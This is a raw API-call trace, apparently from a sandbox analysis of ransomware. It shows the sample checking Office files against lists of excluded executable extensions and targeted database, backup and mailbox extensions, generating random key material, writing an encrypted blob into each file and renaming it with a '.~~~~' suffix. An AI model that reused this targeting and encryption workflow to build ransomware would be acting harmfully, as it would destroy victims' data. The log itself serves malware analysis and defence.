	[0134.631] lstrlenW (lpString=".SQL") returned 4
	[0134.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".SQL") returned 0x0
	[0134.631] lstrlenW (lpString=".pst") returned 4
	[0134.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".pst") returned 0x0
	[0134.632] lstrlenW (lpString=".dbv") returned 4
	[0134.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".dbv") returned 0x0
	[0134.632] lstrlenW (lpString=".SDF") returned 4
	[0134.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".SDF") returned 0x0
	[0134.632] lstrlenW (lpString=".dtxs") returned 5
	[0134.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".dtxs") returned 0x0
	[0134.632] lstrlenW (lpString=".db3") returned 4
	[0134.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".db3") returned 0x0
	[0134.632] lstrlenW (lpString=".OST") returned 4
	[0134.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".OST") returned 0x0
	[0134.632] lstrlenW (lpString=".dbx") returned 4
	[0134.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".dbx") returned 0x0
	[0134.632] lstrlenW (lpString=".DB3") returned 4
	[0134.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".DB3") returned 0x0
	[0134.632] lstrlenW (lpString=".DAT") returned 4
	[0134.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".DAT") returned 0x0
	[0134.632] lstrlenW (lpString=".VHDX") returned 5
	[0134.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".VHDX") returned 0x0
	[0134.632] lstrlenW (lpString=".ndf") returned 4
	[0134.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".ndf") returned 0x0
	[0134.632] lstrlenW (lpString=".DB") returned 3
	[0134.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".DB") returned 0x0
	[0134.632] lstrlenW (lpString=".sql") returned 4
	[0134.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".sql") returned 0x0
	[0134.632] lstrlenW (lpString=".MYD") returned 4
	[0134.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".MYD") returned 0x0
	[0134.633] lstrlenW (lpString=".DBT") returned 4
	[0134.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".DBT") returned 0x0
	[0134.633] lstrlenW (lpString=".ACCDB") returned 6
	[0134.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".ACCDB") returned 0x0
	[0134.633] lstrlenW (lpString=".fdb") returned 4
	[0134.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".fdb") returned 0x0
	[0134.633] lstrlenW (lpString=".bak") returned 4
	[0134.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".bak") returned 0x0
	[0134.633] lstrlenW (lpString=".myd") returned 4
	[0134.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".myd") returned 0x0
	[0134.633] lstrlenW (lpString=".DTXS") returned 5
	[0134.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".DTXS") returned 0x0
	[0134.633] lstrlenW (lpString=".ckp") returned 4
	[0134.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".ckp") returned 0x0
	[0134.633] lstrlenW (lpString=".dbt") returned 4
	[0134.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".dbt") returned 0x0
	[0134.633] lstrlenW (lpString=".db") returned 3
	[0134.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".db") returned 0x0
	[0134.633] lstrlenW (lpString=".TXT") returned 4
	[0134.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".TXT") returned 0x0
	[0134.633] lstrlenW (lpString=".MDF") returned 4
	[0134.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".MDF") returned 0x0
	[0134.633] lstrlenW (lpString=".bdb") returned 4
	[0134.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".bdb") returned 0x0
	[0134.633] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0134.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0134.634] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1258) returned 1
	[0134.635] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.635] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0134.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0134.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0134.635] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25462528453) returned 1
	[0134.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb9affab0, dwHighDateTime=0x1d60e1e)) 
	[0134.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0134.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0134.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0134.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38ce00
	[0134.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ce00 | out: hHeap=0x300000) returned 1
	[0134.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0134.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0134.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.636] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0134.636] GetLastError () returned 0x0
	[0134.636] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0134.637] GetLastError () returned 0x0
	[0134.639] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffd93, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.639] WriteFile (in: hFile=0x140, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x26d, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x26d, lpOverlapped=0x0) returned 1
	[0134.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0134.639] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.639] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.639] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.639] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.639] CloseHandle (hObject=0x140) returned 1
	[0134.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0134.640] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc.~~~~")) returned 1
	[0134.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7850 | out: hHeap=0x300000) returned 1
	[0134.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0134.642] GetLastError () returned 0x0
	[0134.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".scr") returned 0x0
	[0134.643] lstrlenW (lpString=".cmd") returned 4
	[0134.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".cmd") returned 0x0
	[0134.643] lstrlenW (lpString=".dll") returned 4
	[0134.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".dll") returned 0x0
	[0134.643] lstrlenW (lpString=".bat") returned 4
	[0134.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".bat") returned 0x0
	[0134.643] lstrlenW (lpString=".cpl") returned 4
	[0134.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".cpl") returned 0x0
	[0134.643] lstrlenW (lpString=".sys") returned 4
	[0134.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".sys") returned 0x0
	[0134.643] lstrlenW (lpString=".msc") returned 4
	[0134.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".msc") returned 0x0
	[0134.643] lstrlenW (lpString=".com") returned 4
	[0134.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".com") returned 0x0
	[0134.643] lstrlenW (lpString=".lnk") returned 4
	[0134.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".lnk") returned 0x0
	[0134.643] lstrlenW (lpString=".msp") returned 4
	[0134.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".msp") returned 0x0
	[0134.643] lstrlenW (lpString=".pif") returned 4
	[0134.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".pif") returned 0x0
	[0134.643] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch="msp\r\n.pif") returned 0x0
	[0134.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0134.645] lstrlenW (lpString=".sqb") returned 4
	[0134.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".sqb") returned 0x0
	[0134.645] lstrlenW (lpString=".ost") returned 4
	[0134.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".ost") returned 0x0
	[0134.646] lstrlenW (lpString=".txt") returned 4
	[0134.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".txt") returned 0x0
	[0134.646] lstrlenW (lpString=".mdt") returned 4
	[0134.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".mdt") returned 0x0
	[0134.646] lstrlenW (lpString=".BDB") returned 4
	[0134.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".BDB") returned 0x0
	[0134.646] lstrlenW (lpString=".eql") returned 4
	[0134.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".eql") returned 0x0
	[0134.646] lstrlenW (lpString=".DBF") returned 4
	[0134.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".DBF") returned 0x0
	[0134.646] lstrlenW (lpString=".EQL") returned 4
	[0134.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".EQL") returned 0x0
	[0134.646] lstrlenW (lpString=".FDB") returned 4
	[0134.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".FDB") returned 0x0
	[0134.646] lstrlenW (lpString=".EDB") returned 4
	[0134.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".EDB") returned 0x0
	[0134.646] lstrlenW (lpString=".DACPAC") returned 7
	[0134.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".DACPAC") returned 0x0
	[0134.646] lstrlenW (lpString=".VHD") returned 4
	[0134.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".VHD") returned 0x0
	[0134.646] lstrlenW (lpString=".DBV") returned 4
	[0134.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".DBV") returned 0x0
	[0134.646] lstrlenW (lpString=".dacpac") returned 7
	[0134.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".dacpac") returned 0x0
	[0134.646] lstrlenW (lpString=".sdf") returned 4
	[0134.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".sdf") returned 0x0
	[0134.647] lstrlenW (lpString=".accdb") returned 6
	[0134.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".accdb") returned 0x0
	[0134.647] lstrlenW (lpString=".DBX") returned 4
	[0134.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".DBX") returned 0x0
	[0134.647] lstrlenW (lpString=".MDT") returned 4
	[0134.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".MDT") returned 0x0
	[0134.647] lstrlenW (lpString=".SQB") returned 4
	[0134.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".SQB") returned 0x0
	[0134.647] lstrlenW (lpString=".vhd") returned 4
	[0134.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".vhd") returned 0x0
	[0134.647] lstrlenW (lpString=".bac") returned 4
	[0134.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".bac") returned 0x0
	[0134.647] lstrlenW (lpString=".mdf") returned 4
	[0134.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".mdf") returned 0x0
	[0134.647] lstrlenW (lpString=".BAK") returned 4
	[0134.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".BAK") returned 0x0
	[0134.647] lstrlenW (lpString=".BAC") returned 4
	[0134.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".BAC") returned 0x0
	[0134.647] lstrlenW (lpString=".dbs") returned 4
	[0134.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".dbs") returned 0x0
	[0134.647] lstrlenW (lpString=".vhdx") returned 5
	[0134.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".vhdx") returned 0x0
	[0134.647] lstrlenW (lpString=".NDF") returned 4
	[0134.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".NDF") returned 0x0
	[0134.647] lstrlenW (lpString=".dat") returned 4
	[0134.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".dat") returned 0x0
	[0134.647] lstrlenW (lpString=".DBS") returned 4
	[0134.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".DBS") returned 0x0
	[0134.648] lstrlenW (lpString=".CKP") returned 4
	[0134.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".CKP") returned 0x0
	[0134.648] lstrlenW (lpString=".edb") returned 4
	[0134.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".edb") returned 0x0
	[0134.648] lstrlenW (lpString=".PST") returned 4
	[0134.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".PST") returned 0x0
	[0134.648] lstrlenW (lpString=".dbf") returned 4
	[0134.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".dbf") returned 0x0
	[0134.648] lstrlenW (lpString=".SQL") returned 4
	[0134.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".SQL") returned 0x0
	[0134.648] lstrlenW (lpString=".pst") returned 4
	[0134.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".pst") returned 0x0
	[0134.648] lstrlenW (lpString=".dbv") returned 4
	[0134.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".dbv") returned 0x0
	[0134.648] lstrlenW (lpString=".SDF") returned 4
	[0134.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".SDF") returned 0x0
	[0134.648] lstrlenW (lpString=".dtxs") returned 5
	[0134.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".dtxs") returned 0x0
	[0134.648] lstrlenW (lpString=".db3") returned 4
	[0134.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".db3") returned 0x0
	[0134.648] lstrlenW (lpString=".OST") returned 4
	[0134.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".OST") returned 0x0
	[0134.648] lstrlenW (lpString=".dbx") returned 4
	[0134.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".dbx") returned 0x0
	[0134.648] lstrlenW (lpString=".DB3") returned 4
	[0134.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".DB3") returned 0x0
	[0134.649] lstrlenW (lpString=".DAT") returned 4
	[0134.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".DAT") returned 0x0
	[0134.649] lstrlenW (lpString=".VHDX") returned 5
	[0134.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".VHDX") returned 0x0
	[0134.649] lstrlenW (lpString=".ndf") returned 4
	[0134.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".ndf") returned 0x0
	[0134.649] lstrlenW (lpString=".DB") returned 3
	[0134.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".DB") returned 0x0
	[0134.649] lstrlenW (lpString=".sql") returned 4
	[0134.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".sql") returned 0x0
	[0134.649] lstrlenW (lpString=".MYD") returned 4
	[0134.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".MYD") returned 0x0
	[0134.649] lstrlenW (lpString=".DBT") returned 4
	[0134.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".DBT") returned 0x0
	[0134.649] lstrlenW (lpString=".ACCDB") returned 6
	[0134.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".ACCDB") returned 0x0
	[0134.649] lstrlenW (lpString=".fdb") returned 4
	[0134.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".fdb") returned 0x0
	[0134.649] lstrlenW (lpString=".bak") returned 4
	[0134.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".bak") returned 0x0
	[0134.649] lstrlenW (lpString=".myd") returned 4
	[0134.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".myd") returned 0x0
	[0134.649] lstrlenW (lpString=".DTXS") returned 5
	[0134.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".DTXS") returned 0x0
	[0134.649] lstrlenW (lpString=".ckp") returned 4
	[0134.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".ckp") returned 0x0
	[0134.649] lstrlenW (lpString=".dbt") returned 4
	[0134.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".dbt") returned 0x0
	[0134.650] lstrlenW (lpString=".db") returned 3
	[0134.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".db") returned 0x0
	[0134.650] lstrlenW (lpString=".TXT") returned 4
	[0134.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".TXT") returned 0x0
	[0134.650] lstrlenW (lpString=".MDF") returned 4
	[0134.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".MDF") returned 0x0
	[0134.650] lstrlenW (lpString=".bdb") returned 4
	[0134.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".bdb") returned 0x0
	[0134.650] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
